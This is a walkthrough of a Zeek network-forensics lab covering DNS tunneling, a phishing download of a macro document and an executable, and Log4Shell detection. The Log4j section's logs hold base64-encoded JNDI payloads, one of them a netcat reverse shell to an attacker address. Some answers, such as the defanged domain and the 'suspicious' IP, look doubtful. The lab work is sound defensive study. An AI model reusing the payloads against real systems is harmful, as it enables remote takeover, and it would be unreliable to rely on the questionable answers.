 1623212924.825154	CcJ7pk2dFfkLv8WXfe	10.20.57.3	59580	10.10.2.22	53	udp	5374	0.855652	e7f1018ea0310f25bba0610936fd1cc2af.cisco-update.com	1	C_INTERNET	15	MX	0	NOERROR	F	F	T	T	0	3591018ea0f08b48069ca0ffff640c1cfb.cisco-update.com	58.000000	F

root@thm:~$ cat dns.log | zeek-cut query
 db.rhodes.edu
 4542016cb16eb15fd56e1b16c4545111d7.cisco-update.com
 ...

root@thm:~$ cat dns.log | zeek-cut query |rev | cut -d '.' -f 1-2 | rev | sort | uniq
 _tcp.local
 cisco-update.com
 in-addr.arpa
 ip6.arpa
 rhodes.edu
 ubuntu.com
 
root@thm:~$ cat dns.log | zeek-cut query |rev | cut -d '.' -f 1-2 | rev | sort | uniq | wc -l
 6
Investigate the dns-tunneling.pcap file. There are a massive amount of DNS queries sent to the same domain. This is abnormal. Let's find out which hosts are involved in this activity. Investigate the conn.log file. What is the IP address of the source host?
root@thm:~$ cd Desktop/Exercise-Files/anomalous-dns
root@thm:~$ ls
 clear-logs.sh  dns-tunneling.pcap
 
root@thm:~$ zeek -C -r dns-tunneling.pcap 
root@thm:~$ ls
 clear-logs.sh  dns-tunneling.pcap  http.log  packet_filter.log
 conn.log       dns.log             ntp.log

root@thm:~$ head conn.log
 #fields	ts	uid	id.orig_h	id.orig_p	id.resp_h	id.resp_p	proto	service	duration	orig_bytes	resp_bytes	conn_state	local_orig	local_resp	missed_bytes	history	orig_pkts	orig_ip_bytes	resp_pkts	resp_ip_bytes	tunnel_parents
 #types	time	string	addr	port	addr	port	enum	string	interval	count	count	string	bool	bool	count	string	count	count	count	count	set[string]
 1623212924.825154	CcJ7pk2dFfkLv8WXfe	10.20.57.3	59580	10.10.2.22	53	udp	dns	0.855652	80	175	SF	-	-	0	Dd	1	108	1	203-
 1623212925.678141	CglDT21NBa0XUHywyl	10.20.57.3	47888	10.10.2.22	53	udp	dns	0.158643	80	175	SF	-	-	0	Dd	1	108	1	203-

root@thm:~$ cat conn.log | zeek-cut id.orig_h
 10.20.57.3
 10.20.57.3
 ...

root@thm:~$ cat conn.log | zeek-cut id.orig_h | sort | uniq
 10.20.57.3
 fe80::202a:f0b1:7d9c:bd9e

PHISHING

Investigate the logs. What is the suspicious source address? Enter your answer in defanged format.
root@thm:~$ cd Desktop/Exercise-Files/phishing
root@thm:~$ ls
 clear-logs.sh  file-extract-demo.zeek  hash-demo.zeek  phishing.pcap
 
root@thm:~$ cat file-extract-demo.zeek
 # Load file extract framework!
 @load /opt/zeek/share/zeek/policy/frameworks/files/extract-all-files.zeek
 
root@thm:~$ cat hash-demo.zeek
 # Enable MD5, SHA1 and SHA256 hashing for all files.
 @load /opt/zeek/share/zeek/policy/frameworks/files/hash-all-files.zeek
 
root@thm:~$ zeek -C -r phishing.pcap 
root@thm:~$ ls
 clear-logs.sh  conn.log  dhcp.log  dns.log  file-extract-demo.zeek  files.log  hash-demo.zeek  http.log

root@thm:~$ cat files.log
 #fields	ts	fuid	tx_hosts	rx_hosts	conn_uids	source	depth	analyzers	mime_type	filename	duration	local_orig	is_orig	seen_bytes	total_bytes	missing_bytes	overflow_bytes	timedout	parent_fuid	md5	sha1	sha256	extracted	extracted_cutoff	extracted_size
 #types	time	string	set[addr]	set[addr]	set[string]	string	count	set[string]	string	string	interval	bool	bool	count	count	count	count	bool	string	string	string	string	string	bool	count
 1561667874.743959	Fpgan59p6uvNzLFja	23.63.254.163	10.6.27.102	CLYI4E3rTcU5VAMw51	HTTP	0	(empty)	text/plain	-	0.000000	-	F	14	14	0	0F-	-	-	-	-	-	-
 1561667889.703239	FB5o2Hcauv7vpQ8y3	107.180.50.162	10.6.27.102	C0Bg3l4Y4wO1g2JNbl	HTTP	0	(empty)	application/msword	-	4.386569	-	F	323072	-	00F	-	-	-	-	-	-	-
 1561667899.060086	FOghls3WpIjKpvXaEl	107.180.50.162	10.6.27.102	COY5YG1s9ZuflGNT48	HTTP	0	PE	application/x-dosexec	-	0.498764	-	F	2437120	-	00F	-	-	-	-	-	-	-

root@thm:~$ cat files.log | zeek-cut tx_hosts rx_hosts mime_type filename
 23.63.254.163	10.6.27.102	text/plain	-
 107.180.50.162	10.6.27.102	application/msword	-
 107.180.50.162	10.6.27.102	application/x-dosexec	-

 * the online application that may look suspicious at first glance is the executable file

root@thm~:$ BROWSER > https://gchq.github.io/
 input: 10.6.27.102
 recipe: defang ip addresses
 output: 10[.]6[.]27[.]102
Investigate the http.log file. Which domain address were the malicious files downloaded from? Enter your answer in defanged format.
root@thm:~$ cd Desktop/Exercise-Files/phishing
root@thm:~$ ls
 clear-logs.sh  file-extract-demo.zeek  hash-demo.zeek  phishing.pcap
 
root@thm:~$ cat file-extract-demo.zeek
 # Load file extract framework!
 @load /opt/zeek/share/zeek/policy/frameworks/files/extract-all-files.zeek
 
root@thm:~$ cat hash-demo.zeek
 # Enable MD5, SHA1 and SHA256 hashing for all files.
 @load /opt/zeek/share/zeek/policy/frameworks/files/hash-all-files.zeek
 
root@thm:~$ zeek -C -r phishing.pcap 
root@thm:~$ ls
 clear-logs.sh  conn.log  dhcp.log  dns.log  file-extract-demo.zeek  files.log  hash-demo.zeek  http.log

root@thm:~$ cat http.log
 #fields	ts	uid	id.orig_h	id.orig_p	id.resp_h	id.resp_p	trans_depth	method	host	uri	referrer	version	user_agent	origin	request_body_len	response_body_len	status_code	status_msg	info_code	info_msg	tags	username	password	proxied	orig_fuids	orig_filenames	orig_mime_types	resp_fuids	resp_filenames	resp_mime_types
 #types	time	string	addr	port	addr	port	count	string	string	string	string	string	string	string	count	count	count	string	count	string	set[enum]	string	string	set[string]	vector[string]	vector[string]	vector[string]	vector[string]	vector[string]	vector[string]
 1561667874.713411	CLYI4E3rTcU5VAMw51	10.6.27.102	49157	23.63.254.163	80	1	GET	www.msftncsi.com	/ncsi.txt	-	1.1	Microsoft NCSI	-	0	14	200	OK	-	-	(empty)	-	-	-	-	-	-	Fpgan59p6uvNzLFja	-	text/plain
 1561667889.643717	C0Bg3l4Y4wO1g2JNbl	10.6.27.102	49159	107.180.50.162	80	1	GET	smart-fax.com	/Documents/Invoice&MSO-Request.doc	-	1.1	Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko	-	0	323072	200	OK	-	-	(empty)	-	-	-	-	-	-	FB5o2Hcauv7vpQ8y3	-	application/msword
 1561667898.911759	COY5YG1s9ZuflGNT48	10.6.27.102	49162	107.180.50.162	80	1	GET	smart-fax.com	/knr.exe	-	1.1	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)	-	0	2437120	200	OK	-	-	(empty)	-	---	-	-	FOghls3WpIjKpvXaEl	-	application/x-dosexec

root@thm:~$ cat http.log | zeek-cut id.orig_h host uri
 10.6.27.102	www.msftncsi.com	/ncsi.txt
 10.6.27.102	smart-fax.com	/Documents/Invoice&MSO-Request.doc
 10.6.27.102	smart-fax.com	/knr.exe

root@thm~:$ BROWSER > https://gchq.github.io/
 input: smart-fax.com
 recipe: defang url
 output: smart-fax[.]com

Investigate the malicious document in VirusTotal. What kind of file is associated with the malicious document?
root@thm:~$ cd Desktop/Exercise-Files/phishing
root@thm:~$ ls
 clear-logs.sh  file-extract-demo.zeek  hash-demo.zeek  phishing.pcap
 
root@thm:~$ cat file-extract-demo.zeek
 # Load file extract framework!
 @load /opt/zeek/share/zeek/policy/frameworks/files/extract-all-files.zeek
 
root@thm:~$ cat hash-demo.zeek
 # Enable MD5, SHA1 and SHA256 hashing for all files.
 @load /opt/zeek/share/zeek/policy/frameworks/files/hash-all-files.zeek
 
root@thm:~$ zeek -C -r phishing.pcap 
root@thm:~$ ls
 clear-logs.sh  conn.log  dhcp.log  dns.log  file-extract-demo.zeek  files.log  hash-demo.zeek  http.log

root@thm:~$ cat http.log
 #fields	ts	uid	id.orig_h	id.orig_p	id.resp_h	id.resp_p	trans_depth	method	host	uri	referrer	version	user_agent	origin	request_body_len	response_body_len	status_code	status_msg	info_code	info_msg	tags	username	password	proxied	orig_fuids	orig_filenames	orig_mime_types	resp_fuids	resp_filenames	resp_mime_types
 #types	time	string	addr	port	addr	port	count	string	string	string	string	string	string	string	count	count	count	string	count	string	set[enum]	string	string	set[string]	vector[string]	vector[string]	vector[string]	vector[string]	vector[string]	vector[string]
 1561667874.713411	CLYI4E3rTcU5VAMw51	10.6.27.102	49157	23.63.254.163	80	1	GET	www.msftncsi.com	/ncsi.txt	-	1.1	Microsoft NCSI	-	0	14	200	OK	-	-	(empty)	-	-	-	-	-	-	Fpgan59p6uvNzLFja	-	text/plain
 1561667889.643717	C0Bg3l4Y4wO1g2JNbl	10.6.27.102	49159	107.180.50.162	80	1	GET	smart-fax.com	/Documents/Invoice&MSO-Request.doc	-	1.1	Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko	-	0	323072	200	OK	-	-	(empty)	-	-	-	-	-	-	FB5o2Hcauv7vpQ8y3	-	application/msword
 1561667898.911759	COY5YG1s9ZuflGNT48	10.6.27.102	49162	107.180.50.162	80	1	GET	smart-fax.com	/knr.exe	-	1.1	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)	-	0	2437120	200	OK	-	-	(empty)	-	---	-	-	FOghls3WpIjKpvXaEl	-	application/x-dosexec

 * the malicious file could be the /knr.exe

root@thm:~$ cat http.log | zeek-cut id.orig_h host uri
 10.6.27.102	www.msftncsi.com	/ncsi.txt
 10.6.27.102	smart-fax.com	/Documents/Invoice&MSO-Request.doc
 10.6.27.102	smart-fax.com	/knr.exe

root@thm~:$ zeek -C -r phishing.pcap hash-demo.zeek
 * there will be new hashed fields the files.log file
 
root@thm:~$ cat files.log
 #fields	ts	fuid	tx_hosts	rx_hosts	conn_uids	source	depth	analyzers	mime_type	filename	duration	local_orig	is_orig	seen_bytes	total_bytes	missing_bytes	overflow_bytes	timedout	parent_fuid	md5	sha1	sha256	extracted	extracted_cutoff	extracted_size
 #types	time	string	set[addr]	set[addr]	set[string]	string	count	set[string]	string	string	interval	bool	bool	count	count	count	count	bool	string	string	string	string	string	bool	count
 1561667874.743959	Fpgan59p6uvNzLFja	23.63.254.163	10.6.27.102	CI5U2K3Zk6D31MnLp8	HTTP	0	SHA1,MD5	text/plain	-	0.000000	-	F	14	14	00	F	-	cd5a4d3fdd5bffc16bf959ef75cf37bc	33bf88d5b82df3723d5863c7d23445e345828904-	-	-	-
 1561667889.703239	FB5o2Hcauv7vpQ8y3	107.180.50.162	10.6.27.102	Ch8wOn2b7M249xNQ12	HTTP	0	SHA1,MD5	application/msword	-	4.386569	-	F	323072	-0	0	F	-	b5243ec1df7d1d5304189e7db2744128	a66bd2557016377dfb95a87c21180e52b23d2e4e	-	-	-	-
 1561667899.060086	FOghls3WpIjKpvXaEl	107.180.50.162	10.6.27.102	Ce5njOG0IJsxzOL08	HTTP	0	SHA1,MD5,PE	application/x-dosexec	-	0.498764	-	F	2437120-0	0	F	-	cc28e40b46237ab6d5282199ef78c464	0d5c820002cf93384016bd4a2628dcc5101211f4	-	-	-	-

#correlate the fuid w/ the uid of the file found in the http.log
#/knr.exe's uid is COY5YG1s9ZuflGNT48 in the http.log file
#/Documents/Invoice&MSO-Request.doc uid is C0Bg3l4Y4wO1g2JNbl in the http.log file
root@thm:~$ cat files.log | zeek-cut mime_type md5
 text/plain	cd5a4d3fdd5bffc16bf959ef75cf37bc
 application/msword	b5243ec1df7d1d5304189e7db2744128
 application/x-dosexec	cc28e40b46237ab6d5282199ef78c464

root@thm:~$ BROWSER > https://www.virustotal.com/
 search: b5243ec1df7d1d5304189e7db2744128
 relations > bundled files
  Bundled Files (41)
  Scanned     Detections     File type     Name
  2024-11-04  10/61          VBA           ThisDocument.cls
  2024-05-23   6/63          VBA
  2024-12-23   0/61          Text          PROJECTwm
  2024-11-08   0/62          ?             [1]CompObj
  2024-12-06   0/62          Text          VBA_P-code.txt
Investigate the extracted malicious .exe file. What is the given file name in Virustotal?
root@thm:~$ cd Desktop/Exercise-Files/phishing
root@thm:~$ ls
 clear-logs.sh  file-extract-demo.zeek  hash-demo.zeek  phishing.pcap
 
root@thm:~$ cat file-extract-demo.zeek
 # Load file extract framework!
 @load /opt/zeek/share/zeek/policy/frameworks/files/extract-all-files.zeek
 
root@thm:~$ cat hash-demo.zeek
 # Enable MD5, SHA1 and SHA256 hashing for all files.
 @load /opt/zeek/share/zeek/policy/frameworks/files/hash-all-files.zeek
 
root@thm:~$ zeek -C -r phishing.pcap 
root@thm:~$ ls
 clear-logs.sh  conn.log  dhcp.log  dns.log  file-extract-demo.zeek  files.log  hash-demo.zeek  http.log

root@thm:~$ cat http.log
 #fields	ts	uid	id.orig_h	id.orig_p	id.resp_h	id.resp_p	trans_depth	method	host	uri	referrer	version	user_agent	origin	request_body_len	response_body_len	status_code	status_msg	info_code	info_msg	tags	username	password	proxied	orig_fuids	orig_filenames	orig_mime_types	resp_fuids	resp_filenames	resp_mime_types
 #types	time	string	addr	port	addr	port	count	string	string	string	string	string	string	string	count	count	count	string	count	string	set[enum]	string	string	set[string]	vector[string]	vector[string]	vector[string]	vector[string]	vector[string]	vector[string]
 1561667874.713411	CLYI4E3rTcU5VAMw51	10.6.27.102	49157	23.63.254.163	80	1	GET	www.msftncsi.com	/ncsi.txt	-	1.1	Microsoft NCSI	-	0	14	200	OK	-	-	(empty)	-	-	-	-	-	-	Fpgan59p6uvNzLFja	-	text/plain
 1561667889.643717	C0Bg3l4Y4wO1g2JNbl	10.6.27.102	49159	107.180.50.162	80	1	GET	smart-fax.com	/Documents/Invoice&MSO-Request.doc	-	1.1	Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko	-	0	323072	200	OK	-	-	(empty)	-	-	-	-	-	-	FB5o2Hcauv7vpQ8y3	-	application/msword
 1561667898.911759	COY5YG1s9ZuflGNT48	10.6.27.102	49162	107.180.50.162	80	1	GET	smart-fax.com	/knr.exe	-	1.1	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)	-	0	2437120	200	OK	-	-	(empty)	-	---	-	-	FOghls3WpIjKpvXaEl	-	application/x-dosexec

 * the malicious file could be the /knr.exe

root@thm:~$ cat http.log | zeek-cut id.orig_h host uri
 10.6.27.102	www.msftncsi.com	/ncsi.txt
 10.6.27.102	smart-fax.com	/Documents/Invoice&MSO-Request.doc
 10.6.27.102	smart-fax.com	/knr.exe

root@thm~:$ zeek -C -r phishing.pcap hash-demo.zeek
 * there will be new hashed fields the files.log file
 
root@thm:~$ cat files.log
 #fields	ts	fuid	tx_hosts	rx_hosts	conn_uids	source	depth	analyzers	mime_type	filename	duration	local_orig	is_orig	seen_bytes	total_bytes	missing_bytes	overflow_bytes	timedout	parent_fuid	md5	sha1	sha256	extracted	extracted_cutoff	extracted_size
 #types	time	string	set[addr]	set[addr]	set[string]	string	count	set[string]	string	string	interval	bool	bool	count	count	count	count	bool	string	string	string	string	string	bool	count
 1561667874.743959	Fpgan59p6uvNzLFja	23.63.254.163	10.6.27.102	CI5U2K3Zk6D31MnLp8	HTTP	0	SHA1,MD5	text/plain	-	0.000000	-	F	14	14	00	F	-	cd5a4d3fdd5bffc16bf959ef75cf37bc	33bf88d5b82df3723d5863c7d23445e345828904-	-	-	-
 1561667889.703239	FB5o2Hcauv7vpQ8y3	107.180.50.162	10.6.27.102	Ch8wOn2b7M249xNQ12	HTTP	0	SHA1,MD5	application/msword	-	4.386569	-	F	323072	-0	0	F	-	b5243ec1df7d1d5304189e7db2744128	a66bd2557016377dfb95a87c21180e52b23d2e4e	-	-	-	-
 1561667899.060086	FOghls3WpIjKpvXaEl	107.180.50.162	10.6.27.102	Ce5njOG0IJsxzOL08	HTTP	0	SHA1,MD5,PE	application/x-dosexec	-	0.498764	-	F	2437120-0	0	F	-	cc28e40b46237ab6d5282199ef78c464	0d5c820002cf93384016bd4a2628dcc5101211f4	-	-	-	-

#correlate the fuid w/ the uid of the file found in the http.log
#/knr.exe's uid is COY5YG1s9ZuflGNT48 in the http.log file
#/Documents/Invoice&MSO-Request.doc uid is C0Bg3l4Y4wO1g2JNbl in the http.log file
root@thm:~$ cat files.log | zeek-cut mime_type md5
 text/plain	cd5a4d3fdd5bffc16bf959ef75cf37bc
 application/msword	b5243ec1df7d1d5304189e7db2744128
 application/x-dosexec	cc28e40b46237ab6d5282199ef78c464

root@thm:~$ BROWSER > https://www.virustotal.com/
 search: cc28e40b46237ab6d5282199ef78c464
 detection: 
  749e161661290e8a2d190b1a66469744127bc25bf46e5d0c6f2e835f4b92db18
  PleaseWaitWindow.exe
Investigate the malicious .exe file in VirusTotal. What is the contacted domain name? Enter your answer in defanged format.
root@thm:~$ cd Desktop/Exercise-Files/phishing
root@thm:~$ ls
 clear-logs.sh  file-extract-demo.zeek  hash-demo.zeek  phishing.pcap
 
root@thm:~$ cat file-extract-demo.zeek
 # Load file extract framework!
 @load /opt/zeek/share/zeek/policy/frameworks/files/extract-all-files.zeek
 
root@thm:~$ cat hash-demo.zeek
 # Enable MD5, SHA1 and SHA256 hashing for all files.
 @load /opt/zeek/share/zeek/policy/frameworks/files/hash-all-files.zeek
 
root@thm:~$ zeek -C -r phishing.pcap 
root@thm:~$ ls
 clear-logs.sh  conn.log  dhcp.log  dns.log  file-extract-demo.zeek  files.log  hash-demo.zeek  http.log

root@thm:~$ cat http.log
 #fields	ts	uid	id.orig_h	id.orig_p	id.resp_h	id.resp_p	trans_depth	method	host	uri	referrer	version	user_agent	origin	request_body_len	response_body_len	status_code	status_msg	info_code	info_msg	tags	username	password	proxied	orig_fuids	orig_filenames	orig_mime_types	resp_fuids	resp_filenames	resp_mime_types
 #types	time	string	addr	port	addr	port	count	string	string	string	string	string	string	string	count	count	count	string	count	string	set[enum]	string	string	set[string]	vector[string]	vector[string]	vector[string]	vector[string]	vector[string]	vector[string]
 1561667874.713411	CLYI4E3rTcU5VAMw51	10.6.27.102	49157	23.63.254.163	80	1	GET	www.msftncsi.com	/ncsi.txt	-	1.1	Microsoft NCSI	-	0	14	200	OK	-	-	(empty)	-	-	-	-	-	-	Fpgan59p6uvNzLFja	-	text/plain
 1561667889.643717	C0Bg3l4Y4wO1g2JNbl	10.6.27.102	49159	107.180.50.162	80	1	GET	smart-fax.com	/Documents/Invoice&MSO-Request.doc	-	1.1	Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko	-	0	323072	200	OK	-	-	(empty)	-	-	-	-	-	-	FB5o2Hcauv7vpQ8y3	-	application/msword
 1561667898.911759	COY5YG1s9ZuflGNT48	10.6.27.102	49162	107.180.50.162	80	1	GET	smart-fax.com	/knr.exe	-	1.1	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)	-	0	2437120	200	OK	-	-	(empty)	-	---	-	-	FOghls3WpIjKpvXaEl	-	application/x-dosexec

 * the malicious file could be the /knr.exe

root@thm:~$ cat http.log | zeek-cut id.orig_h host uri
 10.6.27.102	www.msftncsi.com	/ncsi.txt
 10.6.27.102	smart-fax.com	/Documents/Invoice&MSO-Request.doc
 10.6.27.102	smart-fax.com	/knr.exe

root@thm~:$ zeek -C -r phishing.pcap hash-demo.zeek
 * there will be new hashed fields the files.log file
 
root@thm:~$ cat files.log
 #fields	ts	fuid	tx_hosts	rx_hosts	conn_uids	source	depth	analyzers	mime_type	filename	duration	local_orig	is_orig	seen_bytes	total_bytes	missing_bytes	overflow_bytes	timedout	parent_fuid	md5	sha1	sha256	extracted	extracted_cutoff	extracted_size
 #types	time	string	set[addr]	set[addr]	set[string]	string	count	set[string]	string	string	interval	bool	bool	count	count	count	count	bool	string	string	string	string	string	bool	count
 1561667874.743959	Fpgan59p6uvNzLFja	23.63.254.163	10.6.27.102	CI5U2K3Zk6D31MnLp8	HTTP	0	SHA1,MD5	text/plain	-	0.000000	-	F	14	14	00	F	-	cd5a4d3fdd5bffc16bf959ef75cf37bc	33bf88d5b82df3723d5863c7d23445e345828904-	-	-	-
 1561667889.703239	FB5o2Hcauv7vpQ8y3	107.180.50.162	10.6.27.102	Ch8wOn2b7M249xNQ12	HTTP	0	SHA1,MD5	application/msword	-	4.386569	-	F	323072	-0	0	F	-	b5243ec1df7d1d5304189e7db2744128	a66bd2557016377dfb95a87c21180e52b23d2e4e	-	-	-	-
 1561667899.060086	FOghls3WpIjKpvXaEl	107.180.50.162	10.6.27.102	Ce5njOG0IJsxzOL08	HTTP	0	SHA1,MD5,PE	application/x-dosexec	-	0.498764	-	F	2437120-0	0	F	-	cc28e40b46237ab6d5282199ef78c464	0d5c820002cf93384016bd4a2628dcc5101211f4	-	-	-	-

#correlate the fuid w/ the uid of the file found in the http.log
#/knr.exe's uid is COY5YG1s9ZuflGNT48 in the http.log file
#/Documents/Invoice&MSO-Request.doc uid is C0Bg3l4Y4wO1g2JNbl in the http.log file
root@thm:~$ cat files.log | zeek-cut mime_type md5
 text/plain	cd5a4d3fdd5bffc16bf959ef75cf37bc
 application/msword	b5243ec1df7d1d5304189e7db2744128
 application/x-dosexec	cc28e40b46237ab6d5282199ef78c464

root@thm:~$ BROWSER > https://www.virustotal.com/
 search: cc28e40b46237ab6d5282199ef78c464
 behavior > dns resolutiona
  DNS Resolutions
   dunlop.hopto.org
   query.prod.cms.rt.microsoft.com
   res.public.onecdn.static.microsoft
   www.microsoft.com
   125.21.88.13.in-addr.arpa
   
root@thm:~$ BROWSER > cyberchef.io
 input: hopto.org
 recipe: defang url
 output: hopto[.]org
Investigate the http.log file. What is the request name of the downloaded malicious .exe file?
root@thm:~$ cd Desktop/Exercise-Files/phishing
root@thm:~$ ls
 clear-logs.sh  file-extract-demo.zeek  hash-demo.zeek  phishing.pcap
 
root@thm:~$ cat file-extract-demo.zeek
 # Load file extract framework!
 @load /opt/zeek/share/zeek/policy/frameworks/files/extract-all-files.zeek
 
root@thm:~$ cat hash-demo.zeek
 # Enable MD5, SHA1 and SHA256 hashing for all files.
 @load /opt/zeek/share/zeek/policy/frameworks/files/hash-all-files.zeek
 
root@thm:~$ zeek -C -r phishing.pcap 
root@thm:~$ ls
 clear-logs.sh  conn.log  dhcp.log  dns.log  file-extract-demo.zeek  files.log  hash-demo.zeek  http.log

root@thm:~$ cat http.log
 #fields	ts	uid	id.orig_h	id.orig_p	id.resp_h	id.resp_p	trans_depth	method	host	uri	referrer	version	user_agent	origin	request_body_len	response_body_len	status_code	status_msg	info_code	info_msg	tags	username	password	proxied	orig_fuids	orig_filenames	orig_mime_types	resp_fuids	resp_filenames	resp_mime_types
 #types	time	string	addr	port	addr	port	count	string	string	string	string	string	string	string	count	count	count	string	count	string	set[enum]	string	string	set[string]	vector[string]	vector[string]	vector[string]	vector[string]	vector[string]	vector[string]
 1561667874.713411	CLYI4E3rTcU5VAMw51	10.6.27.102	49157	23.63.254.163	80	1	GET	www.msftncsi.com	/ncsi.txt	-	1.1	Microsoft NCSI	-	0	14	200	OK	-	-	(empty)	-	-	-	-	-	-	Fpgan59p6uvNzLFja	-	text/plain
 1561667889.643717	C0Bg3l4Y4wO1g2JNbl	10.6.27.102	49159	107.180.50.162	80	1	GET	smart-fax.com	/Documents/Invoice&MSO-Request.doc	-	1.1	Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko	-	0	323072	200	OK	-	-	(empty)	-	-	-	-	-	-	FB5o2Hcauv7vpQ8y3	-	application/msword
 1561667898.911759	COY5YG1s9ZuflGNT48	10.6.27.102	49162	107.180.50.162	80	1	GET	smart-fax.com	/knr.exe	-	1.1	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)	-	0	2437120	200	OK	-	-	(empty)	-	---	-	-	FOghls3WpIjKpvXaEl	-	application/x-dosexec

 * the malicious file could be the /knr.exe

root@thm:~$ cat http.log | zeek-cut id.orig_h host uri
 10.6.27.102	www.msftncsi.com	/ncsi.txt
 10.6.27.102	smart-fax.com	/Documents/Invoice&MSO-Request.doc
 10.6.27.102	smart-fax.com	/knr.exe

LOG4J

Investigate the log4shell.pcapng file with detection-log4j.zeek script. Investigate the signature.log file. What is the number of signature hits?
root@thm:~$ cd Desktop/Exercise-Files/log4j
root@thm:~$ ls
 clear-logs.sh  detection-log4j.zeek  log4shell.pcapng
 
root@thm:~$ cat detection-log4j.zeek 
 # Load scan-NG Package!
 @load /opt/zeek/share/zeek/site/cve-2021-44228

root@thm:~$ zeek -C -r log4shell.pcapng detection-log4j.zeek
root@thm:~$ ls
 clear-logs.sh  detection-log4j.zeek  http.log   log4shell.pcapng  packet_filter.log  weird.log
 conn.log       files.log             log4j.log  notice.log        signatures.log

root@thm:~$ cat signatures.log
 #fields	ts	uid	src_addr	src_port	dst_addr	dst_port	note	sig_id	event_msg	sub_msg	sig_count	host_count
 #types	time	string	addr	port	addr	port	enum	string	string	string	count	count
 1640023652.109820	CMzs07mEkv4GvJc68	192.168.56.102	389	172.17.0.2	36820	Signatures::Sensitive_Signature	log4j_javaclassname_tcp	192.168.56.102: log4j_javaclassname_tcp	0\x81\xc8\x02\x01\x02d\x81\xc2\x04-Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=0\x81\x900\x16\x04\x0djavaClassName1\x05\x04\x03foo0,\x04\x0cjavaCodeBase1\x1c\x04\x1ahttp://192.168.56.102:443/0$\x04\x0bobjectC...	-	-
 1640025554.665741	CO8DsW2tkhOb5990Vc	192.168.56.102	389	172.17.0.2	36822	Signatures::Sensitive_Signature	log4j_javaclassname_tcp	192.168.56.102: log4j_javaclassname_tcp	0\x81\xd0\x02\x01\x02d\x81\xca\x045Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==0\x81\x900\x16\x04\x0djavaClassName1\x05\x04\x03foo0,\x04\x0cjavaCodeBase1\x1c\x04\x1ahttp://192.168.56.102:443/0$\x04...	-	-
 1640026858.967970	CbpVAq3ecDRo6YocGj	192.168.56.102	389	172.17.0.2	36824	Signatures::Sensitive_Signature	log4j_javaclassname_tcp	192.168.56.102: log4j_javaclassname_tcp	0\x81\xe4\x02\x01\x02d\x81\xde\x04IBasic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==0\x81\x900\x16\x04\x0djavaClassName1\x05\x04\x03foo0,\x04\x0cjavaCodeBase1\x1c\x04\x1ahttp://19...	-	-

root@thm:~$ cat signatures.log | zeek-cut event_msg
 192.168.56.102: log4j_javaclassname_tcp
 192.168.56.102: log4j_javaclassname_tcp
 192.168.56.102: log4j_javaclassname_tcp
Investigate the log4shell.pcapng file with detection-log4j.zeek script. Investigate the http.log file. Which tool is used for scanning?
root@thm:~$ cd Desktop/Exercise-Files/log4j
root@thm:~$ ls
 clear-logs.sh  detection-log4j.zeek  log4shell.pcapng
 
root@thm:~$ cat detection-log4j.zeek 
 # Load scan-NG Package!
 @load /opt/zeek/share/zeek/site/cve-2021-44228

root@thm:~$ zeek -C -r log4shell.pcapng detection-log4j.zeek
root@thm:~$ ls
 clear-logs.sh  detection-log4j.zeek  http.log   log4shell.pcapng  packet_filter.log  weird.log
 conn.log       files.log             log4j.log  notice.log        signatures.log

root@thm:~$ head -n 20 http.log
 #fields	ts	uid	id.orig_h	id.orig_p	id.resp_h	id.resp_p	trans_depth	method	host	uri	referrer	version	user_agent	origin	request_body_len	response_body_len	status_code	status_msg	info_code	info_msg	tags	username	password	proxied	orig_fuids	orig_filenames	orig_mime_types	resp_fuids	resp_filenames	resp_mime_types
 #types	time	string	addr	port	addr	port	count	string	string	string	string	string	string	string	count	count	count	string	count	string	set[enum]	string	string	set[string]vector[string]	vector[string]	vector[string]	vector[string]	vector[string]	vector[string]
 1640023505.960608	C46qhk4zZ9Oa6yAoY4	172.17.0.1	60314	172.17.0.2	8080	1	GET	127.0.0.1:8080	/	-	1.1	SecurityNik Testing	-	0	91	400	(empty)	-	-	(empty)	-	-	-	-	-	-	Fq5jbu3EpCk5tV3f18	-	text/json
 1640023652.119439	CFZWci2SfK49pWcMq4	172.17.0.2	51832	192.168.56.102	443	1	GET	192.168.56.102:443	/ExploitQ8v7ygBW4i.class	-	1.1	Java/1.8.0_181	-	0	1216	200	OK	-	-	CVE_2021_44228::LOG4J_RCE	-	-	-	-	-	-	Fm2Pk636DiMArmDn03	-	application/x-java-applet
 1640023652.008511	Ckl0FV3jumRTSjCk37	172.17.0.1	60316	172.17.0.2	8080	1	GET	127.0.0.1:8080	/	-	1.1	SecurityNik Testing	-	0	13	200	(empty)	-	-	CVE_2021_44228::LOG4J_RCE	-	-	-	-	-	-	FZiMgW29483QEvS57h	-	text/plain
